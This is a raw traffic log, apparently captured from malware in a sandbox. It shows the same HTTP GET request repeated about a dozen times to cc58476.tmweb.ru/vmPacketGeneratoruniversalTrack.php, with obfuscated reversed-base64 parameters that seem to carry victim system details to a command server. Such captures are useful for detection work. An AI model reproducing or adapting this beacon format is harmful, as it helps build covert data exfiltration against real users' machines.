(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx